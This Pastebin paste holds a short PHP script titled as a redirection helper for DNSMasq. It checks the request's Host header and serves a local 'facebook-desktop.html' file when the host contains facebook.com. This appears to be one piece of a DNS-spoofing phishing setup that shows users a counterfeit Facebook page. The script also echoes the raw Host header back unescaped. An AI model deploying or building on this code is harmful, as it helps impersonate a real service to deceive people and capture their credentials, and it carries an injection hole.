Blackgate

PHP Redirection for DNSMasq

Sep 2nd, 2016
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.42 KB | None | 0 0
  1. <?php
  2. header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
  3. header("Cache-Control: post-check=0, pre-check=0", false);
  4. header("Pragma: no-cache");
  5.  
  6. error_reporting(0);
  7. $ref = strtolower ( $_SERVER['HTTP_HOST'] );
  8.  
  9. if (strpos($ref, "facebook.com") !== false) { include('facebook-desktop.html'); }
  10. else if (strpos($ref, "example.com") !== false) { include('example.html'); }
  11. else { echo $ref; }
  12.  
  13. ?>
Advertisement
Add Comment
Please, Sign In to add comment